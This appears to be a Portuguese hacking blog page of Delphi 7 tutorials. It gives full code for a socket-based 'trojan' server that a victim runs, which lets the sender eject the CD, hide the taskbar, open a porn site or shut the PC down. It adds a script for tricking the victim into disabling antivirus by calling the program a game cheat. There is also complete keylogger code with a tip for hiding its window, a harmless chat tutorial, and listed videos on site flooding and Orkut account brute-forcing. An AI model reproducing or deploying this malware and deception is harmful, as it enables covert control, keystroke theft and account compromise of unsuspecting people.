[ Tutorial ] Como Criar um Trojan com Mais Funções

[ Tutorial ] Como Criar um Trojan com Mais Funções



Antes de mais nada, Tudo que esta aqui não é Ctrl + c mais Ctrl + V
Eu que fiz tudo !!

Requerimentos :


- Conhecimento Basico em Delphi 7

Ok vamos ao trabalho!!



Abra o Delphi e inicie um novo projeto
Agora nós teremos que adicionar uma coisinha ao Delphi
(ServerSocket , ClientSocket)

Para adicionar esse 2 você vai ter que ir em Component e clicar em Install Packages

Print :
Click this bar to view the original image of 800x500px.


Depois Clique em add

Print :



Depois procure a pasta do seu Delphi é mais facil você clicar em "Um nivel acima" Depois que clicar la abra a pasta "bin" que aparecera ao lado

Click this bar to view the original image of 561x417px.


Depois que abrir a pasta clique em "dclsockets70" e abre ele =)

Print
Click this bar to view the original image of 559x417px.



Ok agora ja esta tudo Pronto!

Na abra Standard adicione

- 1 Edit = Apague o que esta escrito nele
- 1 Label = Apague o que esta escrito nele
- 2 Buttons = Conectar, Desconectar

E na aba Internet Adicione um Client Socket!

Clique no Client Socker E vamos configurar ele

Clique uma vez no ClientSocket

Em object Inspector Tem "Port" Mude a port para 1478

Depois clique em "Events" e em

OnConect Coloque isso

Label1.caption:='Conectado';
Em OnConecting Coloque isso

label1.caption:='Conctando...';
Em OnDisconect coloque isso

Label1.Caption:='Desconectado!';
Em OnError coloque isso

label1.Caption:='Erro!! Tente novamente';


Pronto agora vamos mecher nos Buttons

Clique 2 Veses no botao "Conectar" e coloque isso
ClientSocket1.Address:=edit1.text;
ClientSocket1.Active:=true;
Agora Clique 2 Veses no botão "Desconectar e coloque isso
ClientSocket1.Active:= false;

Agora adicione 10 Botões e renomeie um para

Abrir CD
Fechar CD
Esconder icones da area de trabalho
Mostrar icones da area de trabalho
Esconder Iniciar
Mostrar iniciar
Esconder barrra de tarefas
Mostrar barra de tarefas
Abrir Firefox com o site do Tube8
Desligar o pc


Clique duas veses no Abrir CD e coloque isso

ClientSocket1.Socket.SendText('abrecd') ;
Clique Duas veses no Fechar cd e coloque isso

ClientSocket1.Socket.SendText('fecharcd') ;
Clique duas veses no Esconder icones da area de trabalho e coloque isso

ClientSocket1.Socket.SendText('escondericones') ;
Clique duas veses no Mostrar icones da area de trabalho e coloque isso

ClientSocket1.Socket.SendText('mostraricones') ;
Clique duas veses no Esconder Iniciar e coloque isso

ClientSocket1.Socket.SendText('esconderiniciar') ;
Clique duas veses no Mostrar Iniciar e coloque isso

ClientSocket1.Socket.SendText('mostrariniciar') ;
Clique duas veses no Esconder barrra de tarefas e coloque isso

ClientSocket1.Socket.SendText('esconderbarra') ;
Clique duas veses no Mostrar barra de tarefas e coloque isso

ClientSocket1.Socket.SendText('mostrarbarra') ;
Clique duas veses no "Abrir firefox no site do Tube8" e coloque isso

ClientSocket1.Socket.SendText('sitetube8') ;
Clique duas veses no "Desligar pc" e coloque isso

ClientSocket1.Socket.SendText('desligarpc') ;

Pronto Programa feito!! agora clique em

File, Save All

Crie uma pasta no seu desktop chamada Trojan depois entre nessa pasta e crie otra chamada Cliente e salve la. Depois de salvar aperte F9 e depois pode fechar tudo.

Print do meu trojan



Etapa 2

Abra denovo o Delphi e inicie um Projeto

Esse Programa que nos faremos agora servira para você mandar para a vitima
Depois de iniciar um Projeto va na aba "internet" e coloque um ServerSocket

La do lado em Port Coloque 1478
e active se muda pra True

Clique na aba "Event".

De duplo click no OnClientRead

De baixo do begin coloque isso
if Socket.ReceiveText='abrecd' then begin
MciSendString('Set CdAudio Door Open',nil,0,Handle) ;
end;
if Socket.ReceiveText='fecharcd' then begin
MciSendString('Set CdAudio Door Closed',nil,0,Handle);
end;
if Socket.ReceiveText='escondericones' then begin
ShowWindow(FindWindow('progman',nil),0);
end;
if Socket.ReceiveText='mostraricones' then begin
ShowWindow(FindWindow('progman',nil),1);
end;
if Socket.ReceiveText='esconderiniciar' then begin
ShowWindow(FindWindowEx (FindWindow('shell_traywnd', nil),0,'Button',nil),0);
end;
if Socket.ReceiveText='mostrariniciar' then begin
ShowWindow(FindWindowEx (FindWindow('shell_traywnd', nil),0,'Button',nil),1);
end;
if Socket.ReceiveText='esconderbarra' then begin
ShowWindow(FindWindow('shell_traywnd',nil),0);
end;
if Socket.ReceiveText='mostrarbarra' then begin
ShowWindow(FindWindow('shell_traywnd',nil),1);
end;
if Socket.ReceiveText='sitetube8' then begin
WinExec('c:/arquivos de programas/mozilla firefox/firefox.exe http//www.tube8.comF', SW_SHOW);
end;
if Socket.ReceiveText='desligarpc' then begin
WinExec('cmd /C shutdown -s -t 03', SW_SHOW);
end;
Depois suba la em cima nos uses e adicione MMSystem
ficando assim

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp, MMSystem;
Click this bar to view the original image of 800x465px.


Agora salve tudo na pasta Vitima que eu mandei criar e aperte F9 para compilar!!

Enganando a vitima!!!

Chega pra vitima e fale

- Ou se vil o Novo hack que lanço ???
ele serve para GB Para Grand Chase Pra Combat Arms pra Panguia pra Ragnarok e para um monte de jogos!!!!!!

Mais tem um problema o antivirus detecta como um virus mais é inofencivo!!
(e fala pra ele desativa o ant virus)

ai dps o cara consertesa vai aceita e vc manda o download
Manda ele abri o programa e va no seu Programa o primeiro que criamos e clique em conect ai é so zua ele xD

OBS : No edit que você criou é so colocar o numero da port que o seu no caso é 1478
Comentem Aiii Pessoal

[ Tutorial ] Como Criar um Chat pelo Delphi 7

[ Tutorial ] Como Criar um Chat pelo Delphi 7


1ª Etapa
Para começar o Chat vamos criar a sua interface, neste caso adicione no programa os seguintes componentes:
Inserindo:
TMemo => Coloque o nome como Quadro.
Tmemo => Com nome de Status.
TGroupBox => Coloque o nome como C_Comandos
TEdit => Coloque dentro do TGroupBox (C_Comandos) com o nome de C_Texto
TEdit => Com nome de Host.
TEdit => Com nome de Apelido.
TButton => Com nome de Conectar.
TButton => Com nome de Servir.
2 Tlabel => Com caption Servidor e Apelido.

Agora adicione os seguintes componentes.
TclientSocket => Com nome de S_Cliente.
TserverSocket => Com nome de S_Server.
(VEJA FIGURA AO LADO)
Agora renomeie o Form1 para ChatFal. (Clique no Form depois vá em name e mude).
Vamos tentar deixar o Object Treeview mais ou menos assim:

Pronto agora tente organizar desta forma:

2ª Etapa
Bom nesta etapa vamos começar a programar o chat.
a) O primeiro evento que o programa irá executar será o TchatFal.FormCreate, clique 2x no formulário, e deixe este procedimento assim:
procedure TChatFal.FormCreate(Sender: TObject); {Limpa o quadro}
begin
Quadro.Text := '';
end;

Explicação:
Com isto, assim que o formulário inicie, o conteúdo do componente QUADRO será apagado.
b) O segundo evento a ser programado será do componente C_Texto. Aqui vamos criar uma procedure para o evento OnKeyDown (Este evento ocorre quando um texto for digitado na Tedit).
Primeiro se declara a procedure.
procedure C_TextoKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);
Depois vamos programar a procedure.
procedure TChatFal.C_TextoKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);
begin

if Key = VK_Return then
begin
S_Cliente.Socket.SendText(C_Texto.Text + ‘::::’ + Apelido.Text);
C_Texto.Text := ”;
end;
end;
Explicação:
Nós criamos uma procedure que utiliza uma variável “Key” do tipo Word, e declaramos também o uso do Shift (Se não declarar o uso do shift não funciona).
if Key = VK_Return then => Se a tecla digitada for igual ao [ENTER] então execute.
S_Cliente.Socket.SendText(C_Texto.Text + '::::' + Apelido.Text); => Envia o texto para o servidor no formato (Mensagem::::Apelido) este formato será explicado mais na frente.
C_Texto.Text := ''; => Limpa o conteúdo da TEdit C_Texto.
c) Vamos programar a procedure do terceiro evento. Este será para o botão “Conectar” onde ao clicar o programa irá pegar o conteúdo da Tedit “Host” e tentar conectar-se.
Clique 2x em cima do botão Conecta, e deixe da seguinte forma:
procedure TChatFal.ConectarClick(Sender: TObject);
begin
if S_Cliente.Active then
begin
S_Cliente.Active := False;

Conectar.Caption := ‘Conectar’;
end
else begin
S_Cliente.Host := Host.Text;
S_Cliente.Active := True;
end;
end;
Explicação:
if S_Cliente.Active then => Primeiro verificamos se o TclientSocket esta ativo (isto é se a conexão já esta ativa).
S_Cliente.Active := False; => Se tiver ativo ele desativa (Desconecta).
Conectar.Caption := ‘Conectar’; => Altera o caption do TButton (Conectar) para ‘Conectar’.
else begin => Caso a conexão já esteja desativada, isto é S_Cliente.Active = False então ele vai se conectar.
S_Cliente.Host := Host.Text; => Pega o conteudo de Host isto é o endereço IP do servidor, e coloca na propriedade Host do componete S_Cliente.
S_Cliente.Active := True; => Ativa a conexão.
3ª Etapa
Agora vamos programar os eventos do conexão do Lado Cliente.
Primeiro declare os procedimentos abaixo:
procedure S_ClienteConnect(Sender: TObject; Socket: TCustomWinSocket);
procedure S_ClienteDisconnect(Sender: TObject; Socket: TCustomWinSocket);
procedure S_ClienteError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);
procedure S_ClienteRead(Sender: TObject; Socket: TcustomWinSocket);
Estes são os eventos do componente TclientSocket que colocamos no programas e renomamos para S_Cliente.
Agora vamos programá-los um por um.
Primeiro OnConnect.
procedure TChatFal.S_ClienteConnect(Sender: TObject; Socket: TCustomWinSocket);
begin
Status.Lines.Add('Cliente ::> Conectado a: ' + S_Cliente.Host);
Conectar.Caption := 'Desconectar';

Apelido.Enabled := False;
S_Cliente.Socket.SendText(‘NICK::::’ + Apelido.Text);
end;
Explicação:
Este evento somente ocorre quando há sucesso de conexão, isto é logo após estabelecer conexão com o servidor sem erros.
Status.Lines.Add(‘Cliente ::> Conectado a: ‘ + S_Cliente.Host); => Aqui escrevemos no status Status.Lines.Add uma mensagem informando o cliente que ele teve sucesso na conexão.
Conectar.Caption := ‘Desconectar’; => Muda-se o caption do TButton (Conectar) de ‘conecta’r para ‘desconectar’, pois agora sua função será encerrar a conexão.
Apelido.Enabled := False; => Depois desabilitamos o Tedit do Apelido (Apenas para o cliente não mudar de apelido durante a conexão o que não afeta nada caso mude).
S_Cliente.Socket.SendText(‘NICK::::’ + Apelido.Text); => Enviamos para o servidor um Texto seguindo o mesmo formato que a procedure de escrever S_Cliente.Socket.SendText. Repare que desta vez o formato muda um pouco, antes era (Mensagem::::Apelido) agora é (NICK::::Apelido). Isto serve para diferenciar o tipo de mensagem, a primeira é uma mensagem normal, a segunda informa que você entrou no servidor.
O Tratamento desses formatos fica no lado do servidor que veremos em breve.
Segundo evento é o OnDisconnect.
procedure TChatFal.S_ClienteDisconnect(Sender: TObject; Socket: TCustomWinSocket); begin Status.Lines.Add('Cliente ::> Desconectado '); Conectar.Caption := ‘Conectar’; Apelido.Enabled := True; end;
Explicação
Este evento é o oposto do evento anterior, ele somente é executado quando a conexão é desfeita.
Status.Lines.Add(‘Cliente ::> Desconectado ‘); => Informamos ao cliente com uma mensagem no status Status.Lines.Add.
Conectar.Caption := ‘Conectar’; => Mudamos o caption do TButton (Conectar) para “conectar”.
Apelido.Enabled := True; => Habilitamos a TEdit (Apelido).
Terceiro evento é o OnError.
procedure TChatFal.S_ClienteError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);
begin
Status.Lines.Add('Cliente ::> ERRO ao tentar conectar a: ' + S_Cliente.Host);

end;
Explicação:
Bastante simples, em caso de erro de conexão informa no status a mensagem ERRO ao tentar conectar a: ‘ + S_Cliente.Host.
Quarto e ultimo evento da TclientSocket, OnRead.
procedure TChatFal.S_ClienteRead(Sender: TObject; Socket: TCustomWinSocket);
begin
Quadro.Lines.Add(Socket.ReceiveText);
end;
Explicação:
Este evento ocorre quando o TClientSocket recebe dados através da conexão ativa. Como a mensagem já vem formatada pelo servidor basta apenas adicionar no quadro Quadro.Lines.Add(Socket.ReceiveText); .
Pronto aqui finalizamos a programação do lado Client do nosso chat.
EDITANDO AS PROPRIEDADES DO COMPONETE TClientSocket (S_Cliente).
Agora vamos parar um pouco a programação, e vamos alterar as propriedades do nosso componente TclientSocket. Onde aqui vamos configurar a porta de comunicação e também vamos colocar os eventos que programamos nos seus devidos lugares.
Primeiro selecione o ícone do componente TclientSocket (S_Cliente) no formulário, depois vá na janela do “Object Inspector” e em propriedades coloque Active em FALSE (Para iniciar desconectado) e em Port abaixo de Name coloque a seguinte porta (666) ou outra que você quiser e que não esteja sendo usada pelo sistema.
Agora vá na aba Eventos e configure os eventos como esta abaixo na IMG.

Pronto o lado cliente já esta pronto agora vamos programar o lado servidor do nosso chat.
4ª Etapa
Nesta etapa vamos primeiro programar o evento do TButton “Servir” (Eu coloquei a caption deste botão como (Iniciar Servidor).
Clique 2x no botão para programar o evento.
procedure TChatFal.ServirClick(Sender: TObject);
begin
if S_Server.Active = True then
begin
S_Server.Active := False;

Status.Lines.Add(‘Servidor ::> Servidor Desligado!’);
Servir.Caption := ‘Iniciar Servidor’;
S_Cliente.Active := False;
Host.Enabled := True;
Conectar.Enabled := True;
end
else begin
S_Server.Active := True;
Servir.Caption := ‘Parar Servidor’;
Host.Enabled := False;
Conectar.Enabled := False;
S_Cliente.Host := ’127.0.0.1′;
S_Cliente.Active := True;
end;
end;
Explicação:
Primeiro da mesma forma que o botão de conectar primeiro verificamos o estado do servidor. Se ele está servindo ou esta parado.
if S_Server.Active = True then => Caso esteja ativo, isto é caso ele esteja esperando conexões na porta configurada, então vamos desligar.
S_Server.Active := False; => Desliga o servidor.
Status.Lines.Add(‘Servidor ::> Servidor Desligado!’); => Informa no status que o servidor foi desligado.
Servir.Caption := ‘Iniciar Servidor’; => Muda o caption do TButton (Servir) para ‘iniciar servidor’.
S_Cliente.Active := False; => Desativa a conexão do cliente. (Ao iniciar o servidor automaticamente o programa se conecta ao servidor).
Host.Enabled := True; => Abilita o campo de escolha do IP.
Conectar.Enabled := True; => Abilita o botão de conectar.
else begin => Caso o servidor não esta ativo, então ative.
S_Server.Active := True; => Ativa o servidor, e neste momento o servidor fica esperando conexões na porta configurada.
Servir.Caption := ‘Parar Servidor’; => Muda o caption do TButton (Servir) para ‘parar servidor’ pois sua função agora é parar.
Host.Enabled := False; => Desativa o campo de escolha do IP (O cliente vai se conectar no localhost).
Conectar.Enabled := False; => Desativa o botão de conectar, pare evitar desconexão do cliente com o servidor local.
S_Cliente.Host := ’127.0.0.1′; => Força o host do S_Cliente para localhost (127.0.0.1).
S_Cliente.Active := True; => Conecta no servidor como cliente.
O IP ’127.0.0.1′ Corresponde a própria maquina, neste caso ao ligar o servidor ele também se conecta como cliente e desabilita as opções de conexão, caso desligue o servidor ele também se desconecta.
Agora o passo seguinte e declarar os procedimentos dos eventos do S_Server.
procedure S_ServerListen(Sender: TObject; Socket: TCustomWinSocket);
procedure S_ServerClientConnect(Sender: TObject; Socket: TCustomWinSocket);

procedure S_ServerClientDisconnect(Sender: TObject; Socket: TCustomWinSocket);
procedure S_ServerClientRead(Sender: TObject; Socket: TcustomWinSocket);
Os eventos são parecidos com os eventos do S_Cliente com diferença que não usa o evento OnError e agora existe o evento OnListen.
Vamos aos eventos.
Primeiro o evento OnListen.
procedure TChatFal.S_ServerListen(Sender: TObject;
Socket: TCustomWinSocket);
begin
Status.Lines.Add('Servidor ::> Servidor Ligado!');
end;

Explicação:
Este evento ocorre quando o servidor é ligado, isto é quando ele começar a escutar na porta determinada. Quando isto ocorre ele simplesmente escreve no status a mensagem de que o servidor está ligado. Status.Lines.Add(‘Servidor ::> Servidor Ligado!’);
Segundo evento será o OnClientConnect.
procedure TChatFal.S_ServerClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
Status.Lines.Add('Servidor ::> Usuário Conectado => '+ Socket.RemoteAddress);

end;
Explicação:
Este evento ocorre quando o servidor recebe uma conexão de algum cliente. Quando isto ocorrer vamos escrever no status do servidor uma mensagem informando que um novo usuário se conectou e qual seu IP (Socket.RemoteAddress).
Status.Lines.Add(‘Servidor ::> Usuário Conectado => ‘+ Socket.RemoteAddress
Terceiro evento será o OnClientDisconnect.
procedure TChatFal.S_ServerClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);

begin
Status.Lines.Add(‘Servidor ::> Usuário Desconectado => ‘+ Socket.RemoteAddress);
end;
Explicação:
Este evento ocorre quando o servidor termina uma conexão de algum cliente. Quando isto ocorrer vamos escrever no status do servidor uma mensagem informando que o usuário se desconectou e qual seu IP (Socket.RemoteAddress).
Status.Lines.Add(‘Servidor ::> Usuário Desconectado => ‘+ Socket.RemoteAddress);
Quarto e mais importante evento OnClientRead.
procedure TChatFal.S_ServerClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var texto: array[0..1] of string;
temptexto: string;
Index: integer;
begin

temptexto := Socket.ReceiveText;
texto[0] := Copy(temptexto, 1,Pos(‘::::’, temptexto) -1);
texto[1] := Copy(temptexto, Pos(‘::::’, temptexto) + Length(‘::::’),Length(temptexto));
if texto[0] = ‘NICK’ then {Verifica se a mensagem eh de entrada}
begin
WITH S_Server.Socket DO BEGIN {Se a msg for de entrada avisa a todos os clientes quem entrou }
FOR Index := 0 TO ActiveConnections-1 DO BEGIN
Connections[Index].SendText(texto[1] + ‘ entrou na sala: ‘);
END;
END;
end
else
begin
WITH S_Server.Socket DO BEGIN {Se nao for de entrada, então eh msg normal, no caso passa para todos a msg}
FOR Index := 0 TO ActiveConnections-1 DO BEGIN
Connections[Index].SendText(‘(‘ + texto[1] + ‘) escreveu: ‘ + texto[0]);
END;
END;
Status.Lines.Add(‘Servidor ::> ‘ + texto[1] + ‘ (‘ + Socket.RemoteAddress + ‘) escreveu: ‘+ texto[0]);
end;
end;
Explicação
Este evento é o mais importante do chat, pois é nele que realmente o chat irá funcionar. O evento ocorre quando o servidor recebe dados do cliente, neste caso ele terá que receber a mensagem e repassar para todos os clientes conectados (Broadcasting).
Esta parte foi difícil desenvolver, pois no exemplo que vem no Delphi (WinSocket) ele não envia para todos os usuários a mensagem, ele
apenas adiciona na Memo a informação recebida.
Bom vamos passo a passo do código.
var texto: array[0..1] of string; => Este array será necessária para formatação dos dados.
temptexto: string; => Está variável será necessária para formatação dos dados.
Index: integer; => Variável de controle para o loop de broadcast.
temptexto := Socket.ReceiveText; => Variável temptexto recebe os dados enviados pelo cliente Socket.ReceiveText.
texto[0] := Copy(temptexto, 1,Pos(‘::::’, temptexto) -1); => Separa a informação em duas partes, texto[0] pega tudo que estiver antes do separador ‘::::’ (Lembre-se do formato de envio). OBS: Procure no HELP do Delphi explicações sobre as funções Pos, Length e Copy. Pois são muito uteis.
texto[1] := Copy(temptexto, Pos(‘::::’, temptexto) + Length(‘::::’),Length(temptexto)); => Aqui texto[1] pega tudo que estiver depois do separador ‘::::’.
if texto[0] = ‘NICK’ then => Se o que estiver antes de ‘::::’ for NICK então foi mensagem de entrada.
WITH S_Server.Socket DO BEGIN => Bom aqui eu estou dizendo que com o Objeto S_Server.Socket Faça. No help do Delphi tem uma explicação sobre ‘WITH’.
FOR Index := 0 TO ActiveConnections-1 DO BEGIN=> Um laço usando FOR, até o final das conexões. (ActiveConnections vem do objeto S_Server através do WITH).
Connections[Index].SendText(texto[1] + ‘ entrou na sala: ‘); => Vai enviando mensagens para todas as conexões da primeira até a ultima, informando quem entrou no servidor.
Else => Se não for ‘NICK’ o que vem antes do separador ‘::::’, então deve ser mensagem.
WITH S_Server.Socket DO BEGIN => Denovo WITH.
FOR Index := 0 TO ActiveConnections-1 DO BEGIN => Laço de 0 até o final das conexões.
Connections[Index].SendText(‘(‘ + texto[1] + ‘) escreveu: ‘ + texto[0]); => Envia para todas as conexões a mensagem enviada.
Status.Lines.Add(‘Servidor ::> ‘ + texto[1] + ‘ (‘ + Socket.RemoteAddress + ‘) escreveu: ‘+ texto[0]); => Adiciona no status do servidor uma cópia da mensagem.
Pronto agora terminamos de programar os eventos do componente S_Server. Agora vamos editar suas propriedades no Object Inspector da mesma forma que configuramos o S_Client.
Deixamos Active = False
e Port = 666 (Ou a porta que você usou no S_Client).
e os eventos (Events)
OnClientConnect = S_ServerClientConnect
OnClientDisconnect = S_ServerClientDisconnect
OnClientRead = S_ServerClientRead
OnListen = S_ServerListen
O resto dos eventos ficam em branco como na imagem abaixo:

TESTANDO O CHAT
Pronto salve tudo e compile, agora vá na pasta em que o programa foi compilado e abra 3 janelas do programa.
No primeiro coloque o apelido como Administrador e clique em iniciar o Servidor.
No segundo coloque como usuario1 digite o endereço local (127.0.0.1) e clique em conectar.
No Terceiro coloque como usuario2 digite o endereço local (127.0.0.1) e clique em conectar.
Pronto agora teste a comunicação entre os 3.

Bom espero que tenha funcionado seu CHAT, você pode baixar o código fonte completo do chat e a versão binária do mesmo neste link abaixo

[ Tutorial ] Como Fazer um Keylogger Utilizando o Delphi 7


 [ Tutorial ] Como Fazer um Keylogger Utilizando o Delphi 7


Essa dica de Delphi é muuuuito boa! Um tempão atrás disso... Finalmente achei algo significante... Use por sua conta e risco!!!
Um método fácil de capturar TUDO O QUE É DIGITADO no computador com Windows, ou seja, um método fácil de criar um keylogger. É uma dica de programação, portanto não é para qualquer um. Uso o Borland Delphi 7, deve funcionar em diversas outras versões também...
Como é avançada, apesar de relativamente fácil, não vou comentar muito, ok?! Se você tiver dúvidas, comentários ou sugestões deixe um comentário neste post, e NÃO me envie e-mails perguntando porque não tenho tempo para responder sobre programação ou coisas avançadas.
Inicie o Delphi e crie um novo projeto. Insira um Memo e um Timer.
No código, defina a seguinte função:
function Coloca(txt: String): String;
begin
Form1.Memo1.Text := Form1.Memo1.Text + txt;
end;
E coloque no evento Timer do temporizador:
procedure TForm1.Timer1Timer(Sender: TObject);
var
keyloop, KeyResult : Integer;
begin
keyloop := 0;
repeat
KeyResult := GetAsyncKeyState(keyloop);
if KeyResult = -32767 then
begin
case keyloop of
8: Coloca(' [BACKSPACE] ');
9: Coloca(' [TAB] ');
12: Coloca(' [ALT] ');
13: Coloca(' [ENTER] ');
16: Coloca(' [SHIFT] ');
17: Coloca(' [CONTROL] ');
18: Coloca(' [ALT] ');
20: Coloca(' [CAPS LOCK] ');
21: Coloca(' [PAGE UP] ');
27: Coloca(' [ESC] ');
33: Coloca(' [PAGE UP] ');
34: Coloca(' [PAGE DOWN] ');
35: Coloca(' [END] ');
36: Coloca(' [HOME] ');
37: Coloca(' [SETA ESQUERDA] ');
38: Coloca(' [SETA ACIMA] ');
39: Coloca(' [SETA DIREITA] ');
40: Coloca(' [SETA ABAIXO] ');
45: Coloca(' [INSERT] ');
46: Coloca(' [DEL] ');
91: Coloca(' [WIN ESQUERDA] ');
92: Coloca(' [WIN DIREITA] ');
93: Coloca(' [MENU POP-UP] ');
96: Coloca('0');
97: Coloca('1');
98: Coloca('2');
99: Coloca('3');
100: Coloca('4');
101: Coloca('5');
102: Coloca('6');
103: Coloca('7');
104: Coloca('8');
105: Coloca('9');
106: Coloca(' [NUM *] ');
107: Coloca(' [NUM +] ');
109: Coloca(' [NUM -] ');
110: Coloca(' [NUM SEP. DECIMAL] ');
111: Coloca(' [NUM /] ');
112: Coloca(' [F1] ');
113: Coloca(' [F2] ');
114: Coloca(' [F3] ');
115: Coloca(' [F4] ');
116: Coloca(' [F5] ');
117: Coloca(' [F6] ');
118: Coloca(' [F7] ');
119: Coloca(' [F8] ');
120: Coloca(' [F9] ');
121: Coloca(' [F10] ');
122: Coloca(' [F11] ');
123: Coloca(' [F12] ');
144: Coloca(' [NUM LOCK] ');
186: Coloca('Ç');
187: Coloca('=');
188: Coloca(',');
189: Coloca('-');
190: Coloca('.');
191: Coloca(';');
192: Coloca(' [APÓSTROFO] ');
193: Coloca('/');
194: Coloca(' [NUM PONTO] ');
219: Coloca('´');
220: Coloca(']');
221: Coloca('[');
222: Coloca('~');
226: Coloca('\');
else
if (KeyLoop >= 65) and (keyloop <= 90) then
Coloca(Chr(keyloop));
if (keyloop >= 32) and (keyloop <= 63) then
Coloca(Chr(keyloop));
//numpad keycodes
if (keyloop >= 96) and (keyloop <= 110) then
Coloca(Chr(keyloop));
end;
end; //case;
inc(keyloop);
until keyloop = 255;
end;
ah sim, ia esquecendo.. coloque o interval do timer para "1"... senão ficará difícil captar neh.. rs
e ++:
é bom dxar o memo desabilitado (com a propriedade Enabled := False), pq se vc digitar nele, irá aparecer o q vc digitou naturalmente MAIS o q o Timer fica adicionando a ele, e ficará repedito e confuso..
Então... Rode o programa (tecle F9).
Tecle qualquer coisa no teclado e observe! Isso funciona mesmo se sua janela não estiver ativa (digo, se estiver por trás das outras ou ocultas). Keylogger que se preze... Não fica em janela!
Oculte-o como preferir, e salve o conteúdo do Memo onde quiser. Aí é com você...
Dica: para ocultar o programa, digite Application.ShowMainForm := False, no código-fonte do projeto, depois do Application.Initialize e antes do Application.CreateForm... Mas aí você deverá ter criado um método para recuperar o que foi digitado, né?!
Adapte o programa como você quiser, afinal aqui apenas mostrei como é possível capturar o que foi digitado. Lembre-se de que ele poderá ser fechado pelo Gerenciador de tarefas do Windows, através da guia "Processos".
deixo claro que esse código realmente "funciona", eu testei e coloquei algumas coisas a mais. eh soh adaptar ao q vc quer fazer!
UM KEYLOGGER PODE SER VISTO COMO UM PROGRAMA DO MAL, QUE COLETA DADOS DO USUÁRIO SEM O CONSENTIMENTO DESTE, E ENVIA AS INFORMAÇÕES COLETADAS PARA ALGUM HACKER OU PESSOA DO MAL. MAS ESSE MESMO KEYLOGGER PODE SER USADO PARA IDENTIFICAR O FUNCIONÁRIO QUE ZÔA NOS COMPUTADORES DA EMPRESA, PARA VER O QUE SUA FILHA DE 10 ANOS TECLA NO MSN, ETC. NOTE QUE PODE SER DE USO PROIBIDO EM ALGUNS PAÍSES. EM OUTROS, O MAIS COMUM, PARA SER CONSIDERADO UM SOFTWARE LEGAL ELE DEVE INFORMAR QUE O SISTEMA ESTÁ SENDO MONITORADO. EM EMPRESAS, POR EXEMPLO, OS FUNCIONÁRIOS DEVEM USAR OS COMPUTADORES PARA FINS DA EMPRESA, NUNCA COMO USO PESSOAL. ISSO DEVE SER DEIXADO BEM CLARO EM CONTRATO.
NÃO ME RESPONSABILIZO POR NADA QUE POSSA ACONTECER DEVIDO O USO DESTES CÓDIGOS AQUI APRESENTADOS. USE COM CONSCIÊNCIA E RESPONSABILIDADE, SEMPRE.
Nada como uma dica dessas comemorando esse UM ANO do Explorando!

NOTA: Apesar de funcionar, essa forma de criar keylogger é uma gambiarra tremenda. Não é ideal usar um Timer para isso, devido o processamento, quem sabe em alguma situação com uso intensivo de CPU por outras aplicações algumas teclas deixem de ser capturadas. O melhor é estudar sobre Hooks usando a API do Windows que intercepta os caracteres enviados pelo teclado, mas falar disso fica para uma outra hora.

[ Video Aula ] Como derrubar um site utilizando o CMD pelo comando ping

[ Video Aula ] Como derrubar um site utilizando o CMD pelo comando ping

[ Video Aula ] Como Hackear Orkut Confirmado Utlizando o Brutus [ Brutal Force ]

[ Video Aula ] Como Hackear Orkut Confirmado Utlizando o Brutus [ Brutal Force ]


[ Video Aula ] Como Hackear Orkut Não Confirmado


[ Video Aula ] Como Hackear Orkut





Testado e Aprovado Pessoal
Template produzido by - Renan Web Desgin | Fazer uma Nova Postagem